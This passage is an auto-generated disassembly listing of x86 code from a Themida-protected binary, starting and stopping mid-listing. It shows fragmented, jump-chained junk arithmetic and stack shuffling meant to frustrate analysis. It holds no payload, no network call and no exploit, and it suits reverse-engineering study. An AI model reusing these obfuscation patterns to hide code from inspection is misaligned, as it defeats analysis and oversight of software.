[esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop ecx jmp loc_55D107 ; --------------------------------------------------------------------------- loc_55FFA3: ; CODE XREF: Themida_:0056121Ej sub esp, 4 mov [esp], edi push ebx push 474667D6h pop ebx neg ebx xor ebx, 0B8B9982Eh push 67DFh mov [esp], ebx sub dword ptr [esp], 2ADF116Dh pop edi jmp loc_5615CA ; --------------------------------------------------------------------------- loc_55FFCD: ; CODE XREF: Themida_:00557320j xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55FFE6: ; CODE XREF: Themida_:00560CA8j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push esi mov esi, esp add esi, 4 push eax mov eax, 325671B3h dec eax sub eax, 6FA07AEDh or eax, 1B0510F8h add eax, 326D65CAh add eax, 47073622h add eax, 0AAD56D1Bh add esi, 782C4023h add esi, eax sub esi, 782C4023h pop eax xchg esi, [esp] mov esp, [esp] jmp loc_550708 ; --------------------------------------------------------------------------- loc_560033: ; CODE XREF: Themida_:0055F060j mov edi, ecx pop ecx sub edx, edi pop edi push edi mov edi, 0FFFFFFFFh sub edx, edi pop edi push ecx mov ecx, 1F6D2045h and ecx, 6C142B06h neg ecx xor ecx, 48693512h dec ecx sub ecx, 0C9FC012Bh xor edx, ecx pop ecx jmp loc_562873 ; --------------------------------------------------------------------------- loc_560065: ; CODE XREF: Themida_:005634A9j mov ebp, [esp] push esi jmp loc_56484C ; --------------------------------------------------------------------------- loc_56006E: ; CODE XREF: Themida_:0055EFBAj not ebx xor ebx, 7C69AEEh sub eax, ebx mov ebx, [esp] jmp loc_55AE48 ; --------------------------------------------------------------------------- loc_560080: ; CODE XREF: Themida_:0056369Ej add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax jmp loc_5545CF ; --------------------------------------------------------------------------- loc_560095: ; CODE XREF: Themida_:0055F520j add ebp, 0FFFFFFFFh jmp loc_55C78A ; --------------------------------------------------------------------------- loc_5600A0: ; CODE XREF: Themida_:00564923j xor edx, 76F36974h sub edx, 1D551BDBh add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] jmp loc_55B53E ; --------------------------------------------------------------------------- loc_5600BD: ; CODE XREF: Themida_:0055C682j push esp pop ebp push edi mov edi, 71D82FE4h jmp loc_55501E ; --------------------------------------------------------------------------- loc_5600CA: ; CODE XREF: Themida_:005610AEj mov [esp], edi sub esp, 4 mov [esp], edx jmp loc_5643A3 ; --------------------------------------------------------------------------- loc_5600D8: ; CODE XREF: Themida_:00555D59j push 5D96h mov [esp], esi mov esi, esp push ebx mov ebx, 550F4526h or ebx, 62F6219Ah dec ebx add ebx, 88009A47h add esi, ebx pop ebx add esi, 4 xchg esi, [esp] pop esp inc edx add edx, 234A23C9h xor edx, 37545731h jmp loc_56241B ; --------------------------------------------------------------------------- loc_560111: ; CODE XREF: Themida_:0055858Ej sub edx, eax mov eax, [esp] add esp, 4 jmp loc_55B8C7 ; --------------------------------------------------------------------------- loc_560121: ; CODE XREF: Themida_:00561B27j mov [esp], esi push edx push 2E5964E1h pop edx inc edx dec edx xor edx, 71E333A1h add edx, 507A60D7h mov esi, edx pop edx sub edx, 12BF6E25h add edx, esi jmp loc_554DD1 ; --------------------------------------------------------------------------- loc_560149: ; CODE XREF: Themida_:00563AA7j mov eax, 261E393Dh sub eax, 6C100D4Dh not eax jmp loc_55BE32 ; --------------------------------------------------------------------------- loc_56015A: ; CODE XREF: Themida_:005593A5j xor eax, [esp] xor [esp], eax jmp loc_550E96 ; --------------------------------------------------------------------------- loc_560165: ; CODE XREF: Themida_:005638F8j push ebp mov ebp, 71BC3D84h dec ebp jmp loc_55AE56 ; --------------------------------------------------------------------------- loc_560171: ; CODE XREF: Themida_:0055D8E9j mov esi, 30F62483h sub esi, edx pop edx add edx, esi pop esi jmp loc_552347 ; --------------------------------------------------------------------------- loc_560181: ; CODE XREF: Themida_:0055C884j mov ecx, esp push 19B7h mov [esp], eax push edx push eax jmp loc_554293 ; --------------------------------------------------------------------------- loc_560192: ; CODE XREF: Themida_:005579B5j sub dword ptr [esp+4], 3AE23F6Eh add [esp+4], edi add dword ptr [esp+4], 3AE23F6Eh jmp loc_564C9A ; --------------------------------------------------------------------------- loc_5601AB: ; CODE XREF: Themida_:005534EEj shr esi, 3 sub esi, 0CEFB575Dh sub ebx, 1A3F5561h add ebx, esi add ebx, 1A3F5561h pop esi sub ebx, eax push esi jmp loc_55D17F ; --------------------------------------------------------------------------- loc_5601CB: ; CODE XREF: Themida_:0055D73Aj mov [esp], eax push esp mov eax, [esp] push ebp jmp loc_561D51 ; --------------------------------------------------------------------------- loc_5601D8: ; CODE XREF: Themida_:00552B31j push dword ptr [esp] pop esi push 6F81h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5520E6 ; --------------------------------------------------------------------------- loc_5601FA: ; CODE XREF: Themida_:005580A6j pop esp push esi jmp loc_558BB3 ; --------------------------------------------------------------------------- loc_560201: ; CODE XREF: Themida_:00559A1Bj mov dx, [esp] push esi mov esi, esp add esi, 4 jmp loc_55DD80 ; --------------------------------------------------------------------------- loc_560213: ; CODE XREF: Themida_:00562E32j add edx, 4 push 62ACh mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 2835h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_552246 ; --------------------------------------------------------------------------- loc_560256: ; CODE XREF: Themida_:00552C57j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_55F9CC ; --------------------------------------------------------------------------- loc_560264: ; CODE XREF: Themida_:00556D8Cj push edx jmp loc_555F41 ; --------------------------------------------------------------------------- loc_56026A: ; CODE XREF: Themida_:00553414j sub ecx, 7DF45B05h jmp loc_55F20D ; --------------------------------------------------------------------------- loc_560275: ; CODE XREF: Themida_:005645E2j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55316A ; --------------------------------------------------------------------------- loc_560284: ; CODE XREF: Themida_:00561077j add esp, 4 push eax mov eax, 4D1D5B5Dh xor eax, 321272A3h sub esp, 4 mov [esp], ebx mov ebx, 630C1D7Eh jmp loc_5585D8 ; --------------------------------------------------------------------------- loc_5602A5: ; CODE XREF: Themida_:0055A7BDj mov bl, 62h jmp loc_559C31 ; --------------------------------------------------------------------------- loc_5602AC: ; CODE XREF: Themida_:005557D7j mov [esp], ebx push esp mov ebx, [esp] jmp loc_55425D ; --------------------------------------------------------------------------- loc_5602B8: ; CODE XREF: Themida_:0055434Cj sub edx, 4 xchg edx, [esp] jmp loc_555E79 ; --------------------------------------------------------------------------- loc_5602C6: ; CODE XREF: Themida_:00552EDAj mov esi, edx push dword ptr [esp] pop edx push eax jmp loc_562E90 ; --------------------------------------------------------------------------- loc_5602D2: ; CODE XREF: Themida_:0055E20Aj mov ebp, 2C240DC9h jmp loc_551A11 ; --------------------------------------------------------------------------- loc_5602DC: ; CODE XREF: Themida_:00554BD7j inc edi add edi, 7AC92C25h xor edi, 5017E64Fh add ebp, edi pop edi push esi push 652071B6h jmp loc_550553 ; --------------------------------------------------------------------------- loc_5602F7: ; CODE XREF: Themida_:0055F9EAj add ebp, 18305B8Bh jmp loc_55C0F4 ; --------------------------------------------------------------------------- loc_560302: ; CODE XREF: Themida_:0056513Fj mov edi, ecx jmp loc_5654B2 ; --------------------------------------------------------------------------- loc_560309: ; CODE XREF: Themida_:005520EFj add esp, 4 push edx push esi jmp loc_55D03F ; --------------------------------------------------------------------------- loc_560316: ; CODE XREF: Themida_:005599D3j xchg ebp, edi xor edi, 7B834C58h add edx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push eax jmp loc_55C815 ; --------------------------------------------------------------------------- loc_56032F: ; CODE XREF: Themida_:0055664Ej mov ebp, 2DED3F65h jmp loc_56351F ; --------------------------------------------------------------------------- loc_560339: ; CODE XREF: Themida_:005634E6j sub edx, esi push eax mov eax, 490A66C7h xor eax, 0DAC560Ch add edx, eax pop eax pop esi jmp loc_55FABD ; --------------------------------------------------------------------------- loc_56034F: ; CODE XREF: Themida_:0055EF67j sub ebp, 0F6A4DA5h sub ebp, edx push ebx mov ebx, 0F6A4DA5h add ebp, 2817398Ah add ebp, ebx jmp loc_5639A7 ; --------------------------------------------------------------------------- loc_56036A: ; CODE XREF: Themida_:0055B365j add esi, 1B0F3202h xor esi, 48EA5A30h and esi, 7BC424DFh sub esi, 63842044h add ecx, esi pop esi push eax mov eax, 56EF628Eh jmp loc_56481C ; --------------------------------------------------------------------------- loc_560390: ; CODE XREF: Themida_:00560C60j add ebx, 7EFC7343h jmp loc_557DCD ; --------------------------------------------------------------------------- loc_56039B: ; CODE XREF: Themida_:005620FCj push eax mov eax, 3E9E7255h or eax, 0C821628h sub eax, 0FFFFFFFFh sub esp, 4 mov [esp], eax jmp loc_5531A0 ; --------------------------------------------------------------------------- loc_5603B4: ; CODE XREF: Themida_:0055EAC2j sub bh, 1Dh sub bh, dl add bh, 1Dh add bh, 0ADh mov edx, [esp] add esp, 4 mov cl, bh pop ebx and cl, 7Ch or cl, 5Ch shr cl, 4 jmp loc_552E69 ; --------------------------------------------------------------------------- loc_5603D9: ; CODE XREF: Themida_:0055FE02j pop esp push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_561D9F ; --------------------------------------------------------------------------- loc_5603EB: ; CODE XREF: Themida_:005554EFj add esi, 2765552Ch pop eax mov ecx, [esp] add esp, 4 jmp loc_55880D ; --------------------------------------------------------------------------- loc_560400: ; CODE XREF: Themida_:00557F62j dec edx add edx, 526E4E1Fh sub dword ptr [esp+4], 5DB424E1h sub [esp+4], edx add dword ptr [esp+4], 5DB424E1h mov edx, [esp] add esp, 4 jmp loc_5611C0 ; --------------------------------------------------------------------------- loc_560426: ; CODE XREF: Themida_:005612EFj mov esp, [esp] sub edi, ecx push dword ptr [esp] push dword ptr [esp] pop ecx push 176Eh mov [esp], ebx mov ebx, esp jmp loc_5649DE ; --------------------------------------------------------------------------- loc_560441: ; CODE XREF: Themida_:00552CC4j mov al, 0B2h push ecx jmp loc_562389 ; --------------------------------------------------------------------------- loc_560449: ; CODE XREF: Themida_:0055A09Ej mov ecx, 4 add ebp, ecx pop ecx jmp loc_5560D2 ; --------------------------------------------------------------------------- loc_560456: ; CODE XREF: Themida_:00550B4Ej sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_55B196 ; --------------------------------------------------------------------------- loc_560465: ; CODE XREF: Themida_:00564DEEj xor edi, 0F5D178Ch add edi, 0A7BB9211h add eax, edi pop edi add eax, 4 xchg eax, [esp] jmp loc_55FC4C ; --------------------------------------------------------------------------- loc_56047F: ; CODE XREF: Themida_:0056247Ej mov [esp], ebx neg dword ptr [esp] pop ebx sub esp, 4 jmp loc_55EC87 ; --------------------------------------------------------------------------- loc_560491: ; CODE XREF: Themida_:005578B1j mov edi, 4 add [esp+4], edi pop edi jmp loc_56145D ; --------------------------------------------------------------------------- loc_5604A0: ; CODE XREF: Themida_:0056052Aj push ecx mov ecx, 274604E1h add ecx, 5579670Fh add ecx, 8F199B04h sub ebx, ecx pop ecx pop ecx shr ebx, 1 push edx mov edx, 7A1B3D63h push ecx mov ecx, 51FC76A8h jmp loc_5544BB ; --------------------------------------------------------------------------- loc_5604C9: ; CODE XREF: Themida_:00560515j push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp] pop esp jmp loc_55E4DF ; --------------------------------------------------------------------------- loc_5604DB: ; CODE XREF: Themida_:0055EE7Fj or ecx, 188A0E25h and ecx, 24185A47h inc ecx sub ecx, 0AE8FB61Bh or esi, ecx mov ecx, [esp] jmp loc_565B03 ; --------------------------------------------------------------------------- loc_5604F8: ; CODE XREF: Themida_:005644FEj pop cx add al, 0Dh sub al, dh sub al, 0Dh push dword ptr [esp] pop edx jmp loc_55AD18 ; --------------------------------------------------------------------------- loc_560509: ; CODE XREF: Themida_:00565339j mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5604C9 ; --------------------------------------------------------------------------- loc_56051A: ; CODE XREF: Themida_:005573A5j and eax, 30CD7029h add eax, 48BFE42Dh mov edx, eax pop eax add ebx, edx pop edx jmp loc_5604A0 ; --------------------------------------------------------------------------- loc_56052F: ; CODE XREF: Themida_:0055E5A1j dec eax jmp loc_560D99 ; --------------------------------------------------------------------------- loc_560535: ; CODE XREF: Themida_:00564D44j mov ebx, 2F332860h jmp loc_554874 ; --------------------------------------------------------------------------- loc_56053F: ; CODE XREF: Themida_:005599F8j mov edx, 0B97B9A8Fh add edx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or edx, 29414535h push ecx jmp loc_562175 ; --------------------------------------------------------------------------- loc_56056F: ; CODE XREF: Themida_:0055CC71j add [esp+4], ebp sub dword ptr [esp+4], 1AD73CF5h add dword ptr [esp+4], 4E874BB2h sub dword ptr [esp+4], 65167483h pop ebp pop eax jmp loc_5556E5 ; --------------------------------------------------------------------------- loc_560592: ; CODE XREF: Themida_:0055A058j push ebx jmp loc_551021 ; --------------------------------------------------------------------------- loc_560598: ; CODE XREF: Themida_:00561C0Ej mov esp, [esp] and [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5605A5: ; CODE XREF: Themida_:00560808j add eax, 8880DDCh jmp loc_55C5EE ; --------------------------------------------------------------------------- loc_5605AF: ; CODE XREF: Themida_:0056079Aj add ebx, 60AA7FE9h push eax mov eax, 0E264DCh and eax, 31AC5764h neg eax xor eax, 4D61276Ch jmp loc_55BB01 ; --------------------------------------------------------------------------- loc_5605CC: ; CODE XREF: Themida_:00561E8Fj mov ebp, 21A11FECh push ebp not dword ptr [esp] pop ebp push edx mov edx, 73E94999h sub edx, 2DD6BB58h jmp loc_558B96 ; --------------------------------------------------------------------------- loc_5605E7: ; CODE XREF: Themida_:005518DFj add esp, 4 mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_55B62F ; --------------------------------------------------------------------------- loc_560607: ; CODE XREF: Themida_:00561618j add al, 0D0h pop bx sub esp, 4 mov [esp], edx jmp loc_551C0A ; --------------------------------------------------------------------------- loc_560619: ; CODE XREF: Themida_:005595E5j and ebx, edi mov edi, [esp] add esp, 4 xor ebx, 0F40089Ch add ecx, ebx pop ebx jmp loc_55CB82 ; --------------------------------------------------------------------------- loc_560632: ; CODE XREF: Themida_:00553145j jmp loc_550420 ; --------------------------------------------------------------------------- loc_560637: ; CODE XREF: Themida_:0055D851j pop esi jmp loc_557817 ; --------------------------------------------------------------------------- loc_56063D: ; CODE XREF: Themida_:00555F78j mov [esp], eax mov eax, 10695456h jmp loc_5642A8 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_55F25C ; --------------------------------------------------------------------------- loc_560658: ; CODE XREF: Themida_:00561E78j push 64B6h mov [esp], esi jmp loc_558A8E ; --------------------------------------------------------------------------- loc_560665: ; CODE XREF: Themida_:00551E4Dj xchg ebp, [esp] pop esp pop dword ptr [esp] xor edi, eax jmp loc_55DF28 ; --------------------------------------------------------------------------- loc_560673: ; CODE XREF: Themida_:0055962Aj mov dx, [esp] push 7B4Fh mov [esp], eax mov eax, esp push 238Ah mov [esp], ecx push edx mov edx, 69F84C01h jmp loc_55A14B ; --------------------------------------------------------------------------- loc_560694: ; CODE XREF: Themida_:0055B3AFj push esi sub dword ptr [esp], 5A2601FDh pop eax add eax, 5A2601FDh jmp loc_563D65 ; --------------------------------------------------------------------------- loc_5606A7: ; CODE XREF: Themida_:0055714Aj mov [esp], ebx push dword ptr [esp] jmp loc_55B57B ; --------------------------------------------------------------------------- loc_5606B2: ; CODE XREF: Themida_:005578D9j add ecx, ebp add ecx, 3E927902h pop ebp add eax, ecx mov ecx, [esp] push esi mov esi, esp push 47B9h mov [esp], edx mov edx, 3A3D63B8h and edx, 5E0B3535h shl edx, 5 or edx, 278232C8h jmp loc_555C35 ; --------------------------------------------------------------------------- loc_5606E4: ; CODE XREF: Themida_:00560970j mov ecx, [esp] add esp, 4 add al, 3Eh add al, dh push edx mov dh, 0C0h add dh, 13h not dh push ecx mov cl, 16h dec cl shl cl, 2 jmp loc_55E099 ; --------------------------------------------------------------------------- loc_560706: ; CODE XREF: Themida_:0055291Bj pop esi push ecx mov ecx, 1C8A0925h or ecx, 23491535h neg ecx sub ecx, 41F66EF4h push 0 sub [esp], ecx pop ecx dec ecx xor ecx, 81C18C2Ch jmp loc_553512 ; --------------------------------------------------------------------------- loc_560730: ; CODE XREF: Themida_:0055CF7Bj push ecx jmp loc_55B086 ; --------------------------------------------------------------------------- loc_560736: ; CODE XREF: Themida_:0055F2B4j mov [esp], edx push ecx mov ecx, 20AF7D7Bh mov edx, ecx pop ecx or edx, 2B713E01h shl edx, 5 jmp loc_5509E1 ; --------------------------------------------------------------------------- loc_560750: ; CODE XREF: Themida_:00564D71j mov esi, [esp] add esp, 4 add esp, 4 push ecx jmp loc_5656E3 ; --------------------------------------------------------------------------- loc_560762: ; CODE XREF: Themida_:00552676j pop eax push ecx push 4068h mov [esp], esp add dword ptr [esp], 4 pop ecx push 68Eh mov [esp], ebp jmp loc_56080D ; --------------------------------------------------------------------------- loc_560781: ; CODE XREF: Themida_:00561623j mov bl, ch pop ecx push edx mov dh, bl mov ch, dh mov edx, [esp] jmp loc_550B69 ; --------------------------------------------------------------------------- loc_560791: ; CODE XREF: Themida_:00561046j add ebp, edx jmp loc_55EA31 ; --------------------------------------------------------------------------- loc_560798: ; CODE XREF: Themida_:005568BAj add ebx, ecx jmp loc_5605AF ; --------------------------------------------------------------------------- loc_56079F: ; CODE XREF: Themida_:0055EF11j mov edx, [esp] jmp loc_560BC8 ; --------------------------------------------------------------------------- loc_5607A7: ; CODE XREF: Themida_:00554C16j pop ebx push edi mov edi, 71C27524h and esi, edi pop edi jmp loc_55DFBD ; --------------------------------------------------------------------------- loc_5607B6: ; CODE XREF: Themida_:0055DF23j push ebx push ecx mov ecx, 4 push edx mov edx, ecx mov ebx, edx jmp loc_5648DF ; --------------------------------------------------------------------------- loc_5607C7: ; CODE XREF: Themida_:0055DEF7j mov [esp], ecx jmp loc_5639B3 ; --------------------------------------------------------------------------- loc_5607CF: ; CODE XREF: Themida_:0055CAE6j xor [esp], edi jmp loc_5506FF ; --------------------------------------------------------------------------- loc_5607D7: ; CODE XREF: Themida_:00565194j pop esi push ecx mov ecx, 54390563h sub ecx, 0B56A527h add ecx, 0FFFFFFFFh dec ecx push edx jmp loc_55ED9B ; --------------------------------------------------------------------------- loc_5607EE: ; CODE XREF: Themida_:00550524j mov edx, 14AA4063h sub eax, 50264E07h add eax, edx jmp loc_5558FE ; --------------------------------------------------------------------------- loc_5607FF: ; CODE XREF: Themida_:00559555j mov esp, [esp] jmp loc_563C70 ; --------------------------------------------------------------------------- loc_560807: ; CODE XREF: Themida_:005640D4j pop ebx jmp loc_5605A5 ; --------------------------------------------------------------------------- loc_56080D: ; CODE XREF: Themida_:0056077Cj mov ebp, 377F1221h or ebp, 757414F2h push 2B94h mov [esp], edi mov edi, 3EDB2C9Dh jmp loc_559D82 ; --------------------------------------------------------------------------- loc_56082A: ; CODE XREF: Themida_:00562761j sub al, 0C7h jmp loc_5552DB ; --------------------------------------------------------------------------- loc_560831: ; CODE XREF: Themida_:00559BA9j add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, 537A0E58h inc ebp push ebx sub esp, 4 mov [esp], eax push 53F933C2h pop eax jmp loc_552C8B ; --------------------------------------------------------------------------- loc_560854: ; CODE XREF: Themida_:005539F4j add ecx, eax mov eax, [esp] add esp, 4 sub ecx, esi push edx mov edx, 38940164h sub ecx, edx pop edx pop esi jmp loc_55DAE6 ; --------------------------------------------------------------------------- loc_560870: ; CODE XREF: Themida_:0055C9B7j push esp mov edi, [esp] add esp, 4 push 7F93h mov [esp], edx push ebx mov ebx, 61483495h jmp loc_564877 ; --------------------------------------------------------------------------- loc_56088D: ; CODE XREF: Themida_:0055AFABj mov [esp], edi push esp pop edi push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_552412 ; --------------------------------------------------------------------------- loc_5608A7: ; CODE XREF: Themida_:0055D62Bj push ecx jmp loc_557938 ; --------------------------------------------------------------------------- loc_5608AD: ; CODE XREF: Themida_:0055D790j add ecx, 4 push 3A8Fh mov [esp], ebp sub esp, 4 jmp loc_55E949 ; --------------------------------------------------------------------------- loc_5608C6: ; CODE XREF: Themida_:00551914j mov [esp], esi mov esi, 2B0379F8h jmp loc_555CC1 ; --------------------------------------------------------------------------- loc_5608D3: ; CODE XREF: Themida_:0055D25Cj add al, 65h pop dx push ecx mov cl, 69h jmp loc_55DC85 ; --------------------------------------------------------------------------- loc_5608DF: ; CODE XREF: Themida_:0055BBCEj push eax mov eax, 5E9C63C1h mov edx, 87B78E21h add edx, 1ED57BACh sub edx, eax jmp loc_55E8F4 ; --------------------------------------------------------------------------- loc_5608F7: ; CODE XREF: Themida_:00557851j add esp, 4 sub edi, 23568D0Fh sub eax, 5AD01B53h sub eax, edi add eax, 5AD01B53h mov edi, [esp] add esp, 4 jmp loc_55F148 ; --------------------------------------------------------------------------- loc_56091D: ; CODE XREF: Themida_:00559B00j mov [esp], edx mov dl, 55h sub dl, 30h add dl, 0E6h mov bl, dl jmp loc_55A25D ; --------------------------------------------------------------------------- loc_56092F: ; CODE XREF: Themida_:0056378Aj add edi, ebx pop ebx xchg edi, [esp] pop esp push edi mov edi, 594E7051h sub ebx, edi push dword ptr [esp] push dword ptr [esp] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55A0F9 ; --------------------------------------------------------------------------- push edx push 14BDh mov [esp], esp add dword ptr [esp], 4 jmp loc_55D59F ; --------------------------------------------------------------------------- loc_56096C: ; CODE XREF: Themida_:0055AD22j mov dh, 0C4h sub dh, cl jmp loc_5606E4 ; --------------------------------------------------------------------------- loc_560975: ; CODE XREF: Themida_:0055683Aj push eax mov eax, 5D9A216Fh neg eax add eax, 117F1363h and eax, 7AA133BEh and eax, 2C819B2h xor eax, 18167EE3h mov ebp, eax jmp loc_559769 ; --------------------------------------------------------------------------- loc_560998: ; CODE XREF: Themida_:0055F3B9j mov ebx, 5E9B32F4h xor edi, ebx pop ebx push edx mov edx, edi mov esi, edx pop edx pop edi sub eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], si mov si, 0D2B2h xor ax, si mov si, [esp] add esp, 2 jmp loc_552D11 ; --------------------------------------------------------------------------- loc_5609F0: ; CODE XREF: Themida_:00564410j mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_555C6D ; --------------------------------------------------------------------------- loc_560A07: ; CODE XREF: Themida_:00553ECBj xor eax, [esp] jmp loc_561C08 ; --------------------------------------------------------------------------- loc_560A0F: ; CODE XREF: Themida_:0055EF19j mov ch, bh mov dh, ch jmp loc_557CC7 ; --------------------------------------------------------------------------- loc_560A18: ; CODE XREF: Themida_:0055C7D1j push edx push 39BC1650h pop edx sub edx, 25E4CBF5h mov esi, edx pop edx jmp loc_552251 ; --------------------------------------------------------------------------- loc_560A2D: ; CODE XREF: Themida_:00562536j pop eax add esi, ecx pop ecx push 6C4Eh mov [esp], edi push ebx jmp loc_55DC4D ; --------------------------------------------------------------------------- loc_560A3F: ; CODE XREF: Themida_:0055F34Ej mov esp, [esp] push ebx jmp loc_55ECC3 ; --------------------------------------------------------------------------- loc_560A48: ; CODE XREF: Themida_:00551804j mov eax, 4 sub edi, 419E05EDh add edi, eax add edi, 419E05EDh push dword ptr [esp] mov eax, [esp] jmp loc_5587D1 ; --------------------------------------------------------------------------- loc_560A66: ; CODE XREF: Themida_:0055E0CCj push 7425h mov [esp], eax mov al, 0D5h sub al, 0A3h or ch, al pop eax xor ch, 0BEh xor ch, 0E3h xor bl, ch pop ecx jmp loc_55E80C ; --------------------------------------------------------------------------- loc_560A83: ; CODE XREF: Themida_:00562848j mov bh, 0CCh jmp loc_55BA45 ; --------------------------------------------------------------------------- loc_560A8A: ; CODE XREF: Themida_:0055B307j pop ebx jmp loc_55E739 ; --------------------------------------------------------------------------- loc_560A90: ; CODE XREF: Themida_:0055CDCDj xor eax, 2A00964h sub esi, 3E582B83h push ebp mov ebp, 758E1132h jmp loc_55F894 ; --------------------------------------------------------------------------- loc_560AA6: ; CODE XREF: Themida_:0055558Dj sub cl, ah jmp loc_5618F5 ; --------------------------------------------------------------------------- loc_560AAD: ; CODE XREF: Themida_:00554C86j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_554D20 ; --------------------------------------------------------------------------- loc_560AC2: ; CODE XREF: Themida_:0055FF70j add [esp+4], ebx pop ebx push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebx jmp loc_55798A ; --------------------------------------------------------------------------- loc_560AD9: ; CODE XREF: Themida_:0056445Cj pop ecx jmp loc_557924 ; --------------------------------------------------------------------------- loc_560ADF: ; CODE XREF: Themida_:005618E0j mov ebx, 467F27EEh xor ebx, 3DE33A68h inc ebx and ebx, 75750F09h add ebx, 1 or ebx, 2DA915BBh jmp loc_5638FD ; --------------------------------------------------------------------------- loc_560AFF: ; CODE XREF: Themida_:0056522Aj push ecx mov ecx, 0DEC5D56h shr ecx, 6 xor ecx, 664BF372h and esi, ecx mov ecx, [esp] jmp loc_55F6E4 ; --------------------------------------------------------------------------- loc_560B18: ; CODE XREF: Themida_:005598FDj shr eax, 8 jmp loc_559667 ; --------------------------------------------------------------------------- loc_560B20: ; CODE XREF: Themida_:00551AD6j push dword ptr [esp] pop eax add esp, 4 push 7398h mov [esp], edi push esi push 4B7Dh jmp loc_557F25 ; --------------------------------------------------------------------------- loc_560B3A: ; CODE XREF: Themida_:00550B1Ej sub esp, 4 mov [esp], ecx push eax mov eax, 2FD33BF8h and eax, 3D604B14h and eax, 0A6976A7h shl eax, 2 add eax, 4DA548A5h push esi mov esi, eax mov ecx, esi mov esi, [esp] add esp, 4 pop eax neg ecx add ecx, 11CE7F33h xor ecx, 0A3292E8Ch add edx, ecx jmp loc_55ADF2 ; --------------------------------------------------------------------------- loc_560B7C: ; CODE XREF: Themida_:0055768Bj sub edi, eax jmp loc_55A6B8 ; --------------------------------------------------------------------------- loc_560B83: ; CODE XREF: Themida_:0055EEA2j push esp jmp loc_5593E2 ; --------------------------------------------------------------------------- loc_560B89: ; CODE XREF: Themida_:00554B6Bj mov eax, [esp] jmp loc_56104B ; --------------------------------------------------------------------------- loc_560B91: ; CODE XREF: Themida_:00557257j add esp, 4 sub al, 4 sub al, 0ECh add al, bl add al, 0ECh add al, 4 pop bx sub esp, 4 mov [esp], esi push 6E0Ch mov [esp], esp jmp loc_552E37 ; --------------------------------------------------------------------------- loc_560BB6: ; CODE XREF: Themida_:00554F20j mov [esp], edx jmp loc_560F14 ; --------------------------------------------------------------------------- loc_560BBE: ; CODE XREF: Themida_:0055CAF6j add al, 21h push dword ptr [esp] jmp loc_561705 ; --------------------------------------------------------------------------- loc_560BC8: ; CODE XREF: Themida_:005607A2j add esp, 4 add cl, ah pop ax push eax jmp loc_55046F ; --------------------------------------------------------------------------- loc_560BD5: ; CODE XREF: Themida_:005563D4j add ebx, 37965D73h push edx jmp loc_55261E ; --------------------------------------------------------------------------- loc_560BE1: ; CODE XREF: Themida_:00551219j add esp, 4 xor edi, 561B4608h sub esp, 4 mov [esp], edi pop ebp pop edi push eax mov eax, 5E0814C2h shr eax, 7 shl eax, 1 xor eax, 26A31FB9h sub eax, 0F73CEE14h xor ebp, eax mov eax, [esp] add esp, 4 and eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edi mov edi, esp jmp loc_556362 ; --------------------------------------------------------------------------- loc_560C28: ; CODE XREF: Themida_:00550A03j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp sub edx, 7FEFFF6Bh jmp loc_55BD81 ; --------------------------------------------------------------------------- loc_560C3D: ; CODE XREF: Themida_:00555019j mov ecx, [esp] add esp, 4 add esp, 4 inc ch shl ch, 7 jmp loc_557F9F ; --------------------------------------------------------------------------- loc_560C50: ; CODE XREF: Themida_:00552720j add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_560390 ; --------------------------------------------------------------------------- loc_560C65: ; CODE XREF: Themida_:0055AD4Dj pop edx push esi mov esi, esp jmp loc_563C1C ; --------------------------------------------------------------------------- loc_560C6E: ; CODE XREF: Themida_:005552D6j push 28D8h mov [esp], esp add dword ptr [esp], 4 pop ebp push eax mov eax, 16E53B60h shr eax, 7 add eax, 241F2E74h and eax, 38AA59A2h shr eax, 1 sub eax, 1 sub eax, 10042C4Ch add ebp, eax pop eax add ebp, 4 push 40D5h jmp loc_55FFE6 ; --------------------------------------------------------------------------- loc_560CAD: ; CODE XREF: Themida_:00553514j pop ecx push edx jmp loc_55CB10 ; --------------------------------------------------------------------------- loc_560CB4: ; CODE XREF: Themida_:00565ABFj sub ebx, ebp jmp loc_5540F0 ; --------------------------------------------------------------------------- loc_560CBB: ; CODE XREF: Themida_:0055CC1Aj add ebx, 3EE21780h sub ebx, ecx sub ebx, 